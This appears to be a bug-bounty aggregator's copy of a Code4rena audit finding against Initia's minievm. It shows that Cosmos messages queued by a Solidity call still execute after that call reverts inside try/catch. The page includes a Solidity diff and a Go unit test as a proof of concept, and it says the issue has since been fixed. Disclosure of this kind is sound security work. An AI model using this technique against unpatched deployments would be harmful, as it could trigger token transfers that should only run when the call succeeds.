Skip to content
Business logic Audit finding Advanced

ExecuteRequest ’s are not properly removed from the context queue

The minievm cosmos precompile queues Cosmos SDK messages in a context key, but when an external Solidity call reverts and the error is caught by try/catch, the queued messages are not removed and are still executed. An attacker could cause sensitive operations, such as IBC token transfers, to run even though the calling contract reverted.

berndartmueller Follow

Originally disclosed on Code4rena

Submitted by berndartmueller

The minievm cosmos precompile allows a Solidity contract to dispatch a Cosmos SDK message, which is executed after the EVM call is successfully executed.

This is done by calling the cosmos precompile with the execute_cosmos or execute_cosmos_with_options function selector and passing the encoded message. This will wrap the message with ExecuteRequest and append it to the messages slice in the context with the key types.CONTEXT_KEY_EXECUTE_REQUESTS.

minievm:x/evm/precompiles/cosmos/contract.go#L287-L294

287: messages := ctx.Value(types.CONTEXT_KEY_EXECUTE_REQUESTS).(*[]types.ExecuteRequest)
288: *messages = append(*messages, types.ExecuteRequest{
289: 	Caller: caller,
290: 	Msg:    sdkMsg,
291:
292: 	AllowFailure: executeCosmosArguments.Options.AllowFailure,
293: 	CallbackId:   executeCosmosArguments.Options.CallbackId,
294: })

Then, after the EVM call finished successfully in EVMCallWithTracer(), it executes the scheduled messages. The same is done in EVMCreateWithTracer().

347: // handle cosmos execute requests
348: requests := sdkCtx.Value(types.CONTEXT_KEY_EXECUTE_REQUESTS).(*[]types.ExecuteRequest)
349: if dispatchLogs, err := k.dispatchMessages(sdkCtx, *requests); err != nil {
350: 	return nil, nil, err
351: } else {
352: 	logs = append(logs, dispatchLogs...)
353: }

The issue is that dispatched messages are not removed from the queue in the scenario where they have been dispatched by an external Solidity that reverts but where a try/catch contains the error. In this case, the messages are still executed.

It seems this is because prepareSDKContext(..) sets the empty cosmos messages queue to the outer context, while any internal EVM that creates a new statedb snapshot will not result in a new context with it’s own, empty types.CONTEXT_KEY_EXECUTE_REQUESTS queue. When the cosmos precompile retrieves the queue from the context with ctx.Value(types.CONTEXT_KEY_EXECUTE_REQUESTS), the context is traversed up to the outer context which holds the key/value (pointer).

Overall, this is very problematic as it leads to unexpected behavior. For example, the external call reverts on purpose due to an invariant being violated, but the dispatched message that is still executed might be a sensitive operation (e.g., IBC token transfer) that should only be executed in the successful case. This can have severe consequences, including funds being locked or lost.

Proof of Concept

The following Poc amends the Counter Solidity contract by adding a new external function nested(..), which dispatches a nested MsgCall EVM Cosmos SDK messages, followed by a revert().

The nested(..) function is called in the recursive(..) function, wrapped in a try/catch block so that the revert is caught and does not propagate.

diff --git a/x/evm/contracts/counter/Counter.sol b/x/evm/contracts/counter/Counter.sol
index 2c5166e..d6a4930 100644
--- a/x/evm/contracts/counter/Counter.sol
+++ b/x/evm/contracts/counter/Counter.sol
@@ -81,10 +81,18 @@ contract Counter is IIBCAsyncCallback {
             return;
         }

-        COSMOS_CONTRACT.execute_cosmos(_recursive(n));

-        // to test branching
+        try this.nested(n) {
+            // do nothing
+        } catch {
+            // do nothing
+        }
+    }
+
+    function nested(uint64 n) external {
         COSMOS_CONTRACT.execute_cosmos(_recursive(n));
+
+        revert();
     }

     function _recursive(uint64 n) internal returns (string memory message) {

After applying the git diff, re-compile the Solidity contracts with make contracts-gen.

Then, copy and paste the following test case in x/evm/keeper/context_test.go. It will show that the dispatched message is still executed, by verifying that the logs contain the recursive_called event twice.

func Test_Recursive_Audit_ExecuteRequestsNotCleanedOnRevert(t *testing.T) {
	ctx, input := createDefaultTestInput(t)
	_, _, addr := keyPubAddr()

	counterBz, err := hexutil.Decode(counter.CounterBin)
	require.NoError(t, err)

	// deploy counter contract
	caller := common.BytesToAddress(addr.Bytes())
	retBz, contractAddr, _, err := input.EVMKeeper.EVMCreate(ctx, caller, counterBz, nil, nil)
	require.NoError(t, err)
	require.NotEmpty(t, retBz)
	require.Len(t, contractAddr, 20)

	// call recursive function
	parsed, err := counter.CounterMetaData.GetAbi()
	require.NoError(t, err)

	inputBz, err := parsed.Pack("recursive", uint64(1))
	require.NoError(t, err)

	_, logs, err := input.EVMKeeper.EVMCall(ctx, caller, contractAddr, inputBz, nil, nil)
	require.NoError(t, err)
	require.Len(t, logs, 2)

	// check logs
	log := logs[0]
	require.Equal(t, contractAddr.Hex(), log.Address)
	require.Equal(t, parsed.Events["recursive_called"].ID.Hex(), log.Topics[0])
	require.Equal(t, "0x0000000000000000000000000000000000000000000000000000000000000001", log.Data)

	log = logs[1]
	require.Equal(t, contractAddr.Hex(), log.Address)
	require.Equal(t, parsed.Events["recursive_called"].ID.Hex(), log.Topics[0])
	require.Equal(t, "0x0000000000000000000000000000000000000000000000000000000000000000", log.Data)
}

Recommended mitigation steps

Consider making sure that the ExecuteRequest’s that have been dispatched by an EVM call that reverted, are properly removed and not executed.

beer-1 (Initia) confirmed and commented:

Here is the fix.

Initia mitigated:

Fixed to maintain execute request on snapshot.

Status: Mitigation confirmed. Full details in reports from 0xAlix2, berndartmueller and Franfran.


The original report as published on Code4rena, by berndartmueller. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A dispatched message that should only run on success may still execute after a revert, potentially causing sensitive operations like IBC token transfers to occur, which could lock or lose funds.

What the attacker needed

A deployed Solidity contract using the cosmos precompile; the contract uses try/catch around a call that dispatches a…

The fix

The issue was fixed by maintaining the execute request queue on snapshot, as confirmed by the project.

How it was found

  1. Add a nested function to the Counter contract that dispatches a MsgCall and then reverts.
  2. Call the nested function from recursive inside a try/catch so the revert is caught.
  3. Recompile the contracts.
  4. Run the provided test that calls recursive and checks the logs.
  5. Observe that the recursive_called event appears twice, showing the dispatched message was executed despite the revert.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract can ask the system to run a Cosmos message later. The system keeps a list of these messages. If the contract later fails and the failure is caught, the list is not cleared, so the messages still run. This means actions meant to happen only on success can happen even when the contract failed.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by berndartmueller

View all

97 more disclosed reports, best first.

More from Initia Cosmos

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.